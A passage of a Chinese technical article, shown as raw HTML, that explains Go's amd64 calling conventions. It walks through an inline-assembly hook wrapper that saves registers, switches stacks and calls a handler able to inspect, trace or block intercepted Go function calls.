rgb(214, 214, 214);">amd64</span></code><span data-position="5756" data-size="10" style="box-sizing: border-box;"> 架构上，最后一个 </span><code data-position="5767" data-size="5" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">int32</span></code><span data-position="5773" data-size="82" style="box-sizing: border-box;"> 的参数放置于地址 0x40000，占用 4 字节大小，那么我们需要再填充 4 字节空白数据，使得返回值存放地址为 0x40008，按当前架构的指针大小 8 对齐。</span></p><p data-startline="99" data-endline="100" data-position="5588" data-size="0" style="box-sizing: border-box;text-align: left;"><br style="box-sizing: border-box;"/><span data-position="5856" data-size="10" style="box-sizing: border-box;">我们接着放入第一个 </span><code data-position="5867" data-size="5" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">int32</span></code><span data-position="5873" data-size="17" style="box-sizing: border-box;"> 的返回值，而第二个返回值类型为 </span><code data-position="5891" data-size="5" style="box-sizing: border-box;">error</code><span data-position="5897" data-size="7" style="box-sizing: border-box;">，实际上就是 </span><code data-position="5905" data-size="9" style="box-sizing: border-box;">interface</code><span data-position="5915" data-size="12" style="box-sizing: border-box;"> 类型。由上一小结可知，</span><code data-position="5928" data-size="9" style="box-sizing: border-box;">interface</code><span data-position="5938" data-size="37" style="box-sizing: border-box;"> 类型占用 16 字节，按 8 字节对齐，所以我们填充 4 字节后，放入 </span><code data-position="5976" data-size="5" style="box-sizing: border-box;">error</code><span data-position="5982" data-size="46" style="box-sizing: border-box;"> 结构体。当然，对于返回值而言，我们并不会真正地写入数据，而是预留内存空间以供被调用者写入。</span><br/></p><p data-startline="99" data-endline="100" data-position="5588" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="5982" data-size="46" style="box-sizing: border-box;"><br/></span></p><h4 data-startline="101" data-endline="101" data-id="register-based-calling-conventions" style="box-sizing: border-box;text-align: left;"><span style="font-size: 18px;"><strong><span data-position="6034" data-size="34" style="font-size: 18px;box-sizing: border-box;">register-based calling conventions</span></strong></span></h4><p data-startline="102" data-endline="102" data-position="6069" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="6069" data-size="49" style="box-sizing: border-box;">对于基于寄存器的调用约定，调用者需要先尝试将参数放置于寄存器中。如果结构体太大，或是结构体中包含 </span><code data-position="6119" data-size="18" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Non-trivial arrays</span></code><span data-position="6138" data-size="25" style="box-sizing: border-box;"> 类型成员导致无法存放，则会转而放置于栈上。对于 </span><code data-position="6164" data-size="5" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">amd64</span></code><span data-position="6170" data-size="4" style="box-sizing: border-box;"> 架构，</span><code data-position="6175" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="6182" data-size="3" style="box-sizing: border-box;"> 使用</span><code data-position="6186" data-size="2" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">X0</span></code><span data-position="6189" data-size="3" style="box-sizing: border-box;"> – </span><code data-position="6193" data-size="3" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">X14</span></code><span data-position="6197" data-size="37" style="box-sizing: border-box;"> 寄存器存放浮点数数据，而对于整数数值，则使用以下 9 个整数寄存器存放：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js"><code><span class="code-snippet_outer">RAX, RBX, RCX, RDI, RSI, R8, R9, R10, R11</span></code></pre></section><p data-startline="107" data-endline="107" data-position="6284" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="6285" data-size="135" style="box-sizing: border-box;">对于数值类型参数，我们可以直接将参数一一对应到寄存器中。而对于结构体类型，我们需要将结构体拆解成多个基础数值类型，然后进行对应放置。如果一个结构体拆解后，需要占用的寄存器数超过了剩余的寄存器数，则该整个结构体都只能放置于栈上。</span></p><p data-startline="107" data-endline="107" data-position="6284" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="6285" data-size="135" style="box-sizing: border-box;">该部分细节繁杂，本文不作赘述，细节请看文档 </span>Go internal ABI specification<span data-position="6538" data-size="1" style="box-sizing: border-box;">。</span></p><p data-startline="107" data-endline="107" data-position="6284" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="6538" data-size="1" style="box-sizing: border-box;">(</span><span style="box-sizing: border-box;color: rgb(0, 128, 255);"><a href="https://go.googlesource.com/go/+/refs/heads/dev.regabi/src/cmd/compile/internal-abi.md" target="_blank">https://go.googlesource.com/go/+/refs/heads/dev.regabi/src/cmd/compile/internal-abi.md</a></span><span data-position="6538" data-size="1" style="box-sizing: border-box;">)</span></p><p data-startline="107" data-endline="107" data-position="6284" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="6538" data-size="1" style="box-sizing: border-box;"><br/></span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><h2 data-startline="108" data-endline="108" data-id="实现" style="box-sizing: border-box;text-align: left;"><strong><span style="box-sizing: border-box;font-size: 20px;">实现</span></strong><br/></h2><p style="text-align: left;"><strong><span style="box-sizing: border-box;font-size: 20px;"><br/></span></strong></p><h3 data-startline="109" data-endline="109" data-id="Runtime-conflict" style="box-sizing: border-box;text-align: left;"><strong><span style="box-sizing: border-box;font-size: 18px;">Runtime conflict</span></strong></h3><p data-startline="110" data-endline="110" data-position="6567" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="6567" data-size="102" style="box-sizing: border-box;">有了上述理论支持后，我们现在可以着手编写钩子函数了。在钩子函数执行过程中，不能随意篡改堆栈上的数据，执行完成后需要恢复所有寄存器，并跳转到原函数继续执行。需要注意的是，我们必须时刻记住，执行钩子函数的是 </span><code data-position="6670" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="6677" data-size="17" style="box-sizing: border-box;"> 的线程，那么就存在以下两个问题：</span></p><ul class="list-paddingleft-2" data-startline="111" data-endline="113" style=";"><li style="box-sizing: border-box;"><p style="text-align: left;"><code data-position="6698" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="6705" data-size="27" style="box-sizing: border-box;"> 为线程分配的栈空间很小，钩子函数如果使用过度会导致 </span><code data-position="6733" data-size="18" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Segmentation fault</span></code><span data-position="6752" data-size="1" style="box-sizing: border-box;">。</span></p></li><li style="box-sizing: border-box;"><p style="text-align: left;"><span data-position="6756" data-size="2" style="box-sizing: border-box;">在 </span><code data-position="6759" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="6766" data-size="18" style="box-sizing: border-box;"> 的线程中执行时，我们无法正常调用 </span><code data-position="6785" data-size="5" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">glibc</span></code><span data-position="6791" data-size="7" style="box-sizing: border-box;"> 函数，例如 </span><code data-position="6799" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">malloc</span></code><span data-position="6806" data-size="5" style="box-sizing: border-box;"> 依赖于 </span><code data-position="6812" data-size="2" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">fs</span></code><span data-position="6815" data-size="8" style="box-sizing: border-box;"> 寄存器指向的 </span><code data-position="6824" data-size="3" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">TLS</span></code><span data-position="6828" data-size="14" style="box-sizing: border-box;"> 结构，以保证线程安全，但 </span><code data-position="6843" data-size="2" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">fs</span></code><span data-position="6846" data-size="14" style="box-sizing: border-box;"> 在 1.17 版本以下的 </span><code data-position="6861" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="6868" data-size="9" style="box-sizing: border-box;"> 线程中指向全局 </span><code data-position="6878" data-size="1" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">G</span></code><span data-position="6880" data-size="1" style="box-sizing: border-box;">。</span></p></li></ul><p style="text-align: left;"><span data-position="6880" data-size="1" style="box-sizing: border-box;"><br/></span></p><p data-startline="114" data-endline="114" data-position="6883" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="6883" data-size="53" style="box-sizing: border-box;">为了解决第一个问题，我们需要在钩子函数的入口处，申请一块足够大的内存替换当前栈。而对于第二点，我们只能使用</span><code data-position="6937" data-size="12" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">freestanding</span></code><span data-position="6950" data-size="5" style="box-sizing: border-box;"> 代码及 </span><code data-position="6956" data-size="7" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">syscall</span></code><span data-position="6964" data-size="39" style="box-sizing: border-box;"> 来完成参数读取与栈回溯操作。</span></p><p data-startline="114" data-endline="114" data-position="6883" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="6964" data-size="39" style="box-sizing: border-box;">为了更好地解耦与复用，于是我开发了一个不依赖于 </span><code data-position="7004" data-size="5" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">glibc</span></code><span data-position="7011" data-size="5" style="box-sizing: border-box;"> 的小型 </span>c-runtime<span data-position="7064" data-size="11" style="box-sizing: border-box;">(</span><span style="box-sizing: border-box;color: rgb(0, 128, 255);"><a href="https://github.com/Hackerl/c-runtime" target="_blank">https://github.com/Hackerl/c-runtime</a></span><span data-position="7064" data-size="11" style="box-sizing: border-box;">)，包含内联汇编编写的 </span><code data-position="7076" data-size="7" style="box-sizing: border-box;">syscall</code><span data-position="7084" data-size="21" style="box-sizing: border-box;"> 以及必要的标准库函数。我们可以安全地在 </span><code data-position="7106" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="7113" data-size="7" style="box-sizing: border-box;"> 线程中调用 </span><code data-position="7121" data-size="9" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">c-runtime</span></code><span data-position="7131" data-size="24" style="box-sizing: border-box;"> 中的任何函数，例如使用底层是无锁环形缓冲</span><span style="box-sizing: border-box;background-color: rgb(214, 214, 214);">区和 </span><code data-position="7156" data-size="12" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">mmap syscall</span></code><span data-position="7169" data-size="3" style="box-sizing: border-box;"> 的 </span><code data-position="7173" data-size="8" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">z_malloc</span></code><span data-position="7182" data-size="8" style="box-sizing: border-box;"> 来分配堆空间。</span></p><p data-startline="114" data-endline="114" data-position="6883" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="7182" data-size="8" style="box-sizing: border-box;"><br/></span></p><h3 data-startline="115" data-endline="115" data-id="钩子函数" style="box-sizing: border-box;text-align: left;"><span style="font-size: 18px;"><strong><span data-position="7195" data-size="4" style="font-size: 18px;box-sizing: border-box;">钩子函数</span></strong></span></h3><p data-startline="116" data-endline="116" data-position="7200" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="7200" data-size="17" style="box-sizing: border-box;">下面是使用内联汇编编写的钩子函数 </span><code data-position="7218" data-size="7" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">wrapper</span></code><span data-position="7226" data-size="24" style="box-sizing: border-box;">，可以通用地进行栈替换、寄存器备份以及函数跳转：</span></p><pre data-startline="117" data-endline="231" data-position="7251" style="box-sizing: border-box;text-align: left;"><code style="box-sizing: border-box;"><p><span data-linenumber="1" style="box-sizing: border-box;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="http"><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">asm volatile(</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;mov $1, %%r12;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;mov %%rsp, %%r13;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;add $8, %%r13;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;and $15, %%r13;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;sub $16, %%rsp;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;movdqu %%xmm14, (%%rsp);&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;sub $16, %%rsp;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;movdqu %%xmm13, (%%rsp);&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;sub $16, %%rsp;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;movdqu %%xmm12, (%%rsp);&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;sub $16, %%rsp;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;movdqu %%xmm11, (%%rsp);&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;sub $16, %%rsp;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;movdqu %%xmm10, (%%rsp);&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;sub $16, %%rsp;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;movdqu %%xmm9, (%%rsp);&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;sub $16, %%rsp;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;movdqu %%xmm8, (%%rsp);&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;sub $16, %%rsp;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;movdqu %%xmm7, (%%rsp);&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;sub $16, %%rsp;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;movdqu %%xmm6, (%%rsp);&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;sub $16, %%rsp;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;movdqu %%xmm5, (%%rsp);&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;sub $16, %%rsp;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;movdqu %%xmm4, (%%rsp);&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;sub $16, %%rsp;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;movdqu %%xmm3, (%%rsp);&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;sub $16, %%rsp;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;movdqu %%xmm2, (%%rsp);&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;sub $16, %%rsp;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;movdqu %%xmm1, (%%rsp);&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;sub $16, %%rsp;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;movdqu %%xmm0, (%%rsp);&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;push %%r11;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;push %%r10;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;push %%r9;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;push %%r8;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;push %%rsi;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;push %%rdi;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;push %%rcx;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;push %%rbx;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;push %%rax;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;sub %%r13, %%rsp;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;mov %0, %%rdi;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;call z_malloc;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;cmp $0, %%rax;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;je end_%=;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;mov %%rsp, %%rdi;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;mov %%rax, %%rsp;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;add %0, %%rsp;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;push %%rax;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;push %%rdi;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;add $312, %%rdi;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;add %%r13, %%rdi;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;call %P1;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;mov %%rax, %%r12;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;pop %%rsi;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;pop %%rdi;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;mov %%rsi, %%rsp;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;call z_free;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;end_%=:&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;add %%r13, %%rsp;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;pop %%rax;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;pop %%rbx;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;pop %%rcx;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;pop %%rdi;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;pop %%rsi;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;pop %%r8;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;pop %%r9;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;pop %%r10;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;pop %%r11;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;movdqu (%%rsp), %%xmm0;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;add $16, %%rsp;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;movdqu (%%rsp), %%xmm1;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;add $16, %%rsp;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;movdqu (%%rsp), %%xmm2;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;add $16, %%rsp;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;movdqu (%%rsp), %%xmm3;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;add $16, %%rsp;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;movdqu (%%rsp), %%xmm4;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;add $16, %%rsp;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;movdqu (%%rsp), %%xmm5;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;add $16, %%rsp;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;movdqu (%%rsp), %%xmm6;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;add $16, %%rsp;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;movdqu (%%rsp), %%xmm7;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;add $16, %%rsp;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;movdqu (%%rsp), %%xmm8;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;add $16, %%rsp;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;movdqu (%%rsp), %%xmm9;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;add $16, %%rsp;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;movdqu (%%rsp), %%xmm10;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;add $16, %%rsp;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;movdqu (%%rsp), %%xmm11;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;add $16, %%rsp;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;movdqu (%%rsp), %%xmm12;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;add $16, %%rsp;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;movdqu (%%rsp), %%xmm13;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;add $16, %%rsp;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;movdqu (%%rsp), %%xmm14;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;add $16, %%rsp;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;cmp $0, %%r12;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;je block_%=;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;jmp *%2;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;block_%=:&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;ret;&#34;</span></span></code><code><span class="code-snippet_outer">    ::</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;i&#34;</span>(STACK_SIZE),</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;i&#34;</span>(handler),</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;m&#34;</span>(origin)</span></code><code><span class="code-snippet_outer">);</span></code></pre></section><p><span style="box-sizing: border-box;"></span><br/></p></code></pre><p data-startline="232" data-endline="235" data-position="9804" data-size="0" style="box-sizing: border-box;text-align: left;"><code data-position="9805" data-size="3" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">r12</span></code><span data-position="9809" data-size="1" style="box-sizing: border-box;">和</span><code data-position="9811" data-size="3" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">r13</span></code><span data-position="9815" data-size="6" style="box-sizing: border-box;"> 寄存器是 </span><code data-position="9822" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="9829" data-size="19" style="box-sizing: border-box;"> 中可以随意使用的临时寄存器，我们用 </span><code data-position="9849" data-size="3" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">r12</span></code><span data-position="9853" data-size="15" style="box-sizing: border-box;"> 来标识是否要阻断当前调用。而</span><code data-position="9869" data-size="3" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">r13</span></code><span data-position="9873" data-size="14" style="box-sizing: border-box;"> 用来参与计算，以确保调用 </span><code data-position="9888" data-size="7" style="box-sizing: border-box;">handler</code><span data-position="9896" data-size="7" style="box-sizing: border-box;"> 时栈指针按 </span><code data-position="9904" data-size="2" style="box-sizing: border-box;">16</code><span data-position="9907" data-size="9" style="box-sizing: border-box;"> 字节对齐，这是 </span><code data-position="9917" data-size="5" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">amd64</span></code><span data-position="9923" data-size="3" style="box-sizing: border-box;"> 下 </span><code data-position="9927" data-size="3" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">gcc</span></code><span data-position="9931" data-size="7" style="box-sizing: border-box;"> 的默认约定。</span></p><p data-startline="232" data-endline="235" data-position="9804" data-size="0" style="box-sizing: border-box;text-align: left;"><br style="box-sizing: border-box;"/><span data-position="9939" data-size="12" style="box-sizing: border-box;">在代码的开头，我们先将 </span><code data-position="9952" data-size="2" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">X0</span></code><span data-position="9955" data-size="3" style="box-sizing: border-box;"> - </span><code data-position="9959" data-size="3" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">X14</span></code><span data-position="9963" data-size="17" style="box-sizing: border-box;"> 浮点数寄存器推入栈中，接着推入 </span><code data-position="9981" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="9988" data-size="24" style="box-sizing: border-box;"> 1.17 以上需要使用的整数寄存器。然后调用 </span><code data-position="10013" data-size="8" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">z_malloc</span></code><span data-position="10022" data-size="30" style="box-sizing: border-box;"> 申请 40K 的内存替换当前栈，再以原始栈指针为参数调用 </span><code data-position="10053" data-size="7" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">handler</span></code><span data-position="10061" data-size="3" style="box-sizing: border-box;">。</span></p><p data-startline="232" data-endline="235" data-position="9804" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="10061" data-size="3" style="box-sizing: border-box;"><br/></span></p><p data-startline="232" data-endline="235" data-position="9804" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="10061" data-size="3" style="box-sizing: border-box;">在 </span><code data-position="10065" data-size="7" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">handler</span></code><span data-position="10073" data-size="8" style="box-sizing: border-box;"> 函数中，根据 </span><code data-position="10082" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="10089" data-size="29" style="box-sizing: border-box;"> 的版本不同，我们可以从栈上存储的寄存器中，或上一函数的 </span><code data-position="10119" data-size="11" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Stack frame</span></code><span data-position="10131" data-size="28" style="box-sizing: border-box;"> 中读出入参。当然也可以根据原始栈指针读取返回地址，从 </span><code data-position="10160" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="10167" data-size="17" style="box-sizing: border-box;"> 符号表中查找函数</span><span style="box-sizing: border-box;background-color: rgb(214, 214, 214);">信息，然后根据 </span><code data-position="10185" data-size="11" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Stack frame</span></code><span data-position="10197" data-size="22" style="box-sizing: border-box;"> 读出上一层的返回地址，循环往复完成栈回溯。</span></p><p data-startline="232" data-endline="235" data-position="9804" data-size="0" style="box-sizing: border-box;text-align: left;"><br style="box-sizing: border-box;"/><span data-position="10220" data-size="8" style="box-sizing: border-box;">我们甚至可以在 </span><code data-position="10229" data-size="7" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">handler</span></code><span data-position="10237" data-size="33" style="box-sizing: border-box;"> 中判断参数是否合法，当参数匹配到我们设置的正则时，可以手动写入 </span><code data-position="10271" data-size="5" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">error</span></code><span data-position="10277" data-size="12" style="box-sizing: border-box;"> 